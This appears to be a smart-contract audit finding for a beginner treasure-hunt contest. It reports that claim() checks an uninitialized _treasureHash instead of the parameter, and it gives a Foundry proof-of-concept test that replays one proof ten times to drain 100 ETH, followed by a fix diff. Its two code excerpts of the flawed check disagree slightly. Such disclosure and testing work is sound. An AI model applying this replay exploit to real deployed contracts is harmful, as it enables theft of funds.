SNARKeling Treasure Hunt

First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Critical Logic Error in Variable Reference Allows Infinite Replay Attacks.

Author Revealed upon completion

Root + Impact

Description

Root Cause

The primary vulnerability stems from a critical logic error in the claim() function of TreasureHunt.sol. The double-spend prevention check incorrectly references an uninitialized immutable variable _treasureHash (set to 0), instead of the function parameter treasureHash. This allows attackers to repeatedly claim the same treasure hash without restriction.

// Root cause in the codebase with @> marks to highlight the relevant section
function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external {
// @> Missing verification: require(!claimed[treasureHash], "Already Claimed");
// ZK Proof validation happens here...
// State is updated, but no prior check prevents reaching this point with a reused hash
claimed[treasureHash] = true;
claimsCount++;
// Transfer logic...
}

Risk

Likelihood: High

Exploitation requires no specialized tools. An attacker simply replays a single valid proof and hash. Since the contract fails to mark the specific hash as "used" effectively, the same transaction can be sent repeatedly until the contract is empty.

Impact: High

Total Loss of Funds: An attacker can drain the entire 100 ETH reward pool using a single discovery.

Proof of Concept

This PoC demonstrates the Double-Spend exploit where a single proof drains the contract due to the faulty _treasureHash check.

Draining the Contract (Double-Spend):

function test_DrainContract_ClaimTenTimes() public {
// 1. Load the proof, hash, and the original recipient
(bytes memory proof, bytes32 treasureHash, address payable recipient) = _loadFixture();
// 2. Record initial balances
uint256 recipientInitialBalance = recipient.balance;
uint256 contractInitialBalance = address(hunt).balance;
// Ensure the contract starts with the full reward pool (100 ether)
assertEq(contractInitialBalance, 100 ether, "Contract should have 100 ether");
// 3. The Exploit: Loop 10 times using the exact same proof and hash
for (uint256 i = 0; i < 10; i++) {
vm.prank(participant);
hunt.claim(proof, treasureHash, recipient);
}
// 4. Verification: Check if the contract is completely empty
assertEq(address(hunt).balance, 0, "Contract should be fully drained");
// 5. Verification: Check if the recipient received the entire 100 ether from a single hash
assertEq(recipient.balance, recipientInitialBalance + 100 ether, "Recipient should have stolen everything");
}

Recommended Mitigation

The fix requires a two-step approach to restore both security and functionality.

  1. Solidity Fix: Change the check in claim() to reference the function parameter treasureHash instead of the uninitialized _treasureHash.

- bytes32 private immutable _treasureHash;
+ // Removed unused variable
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!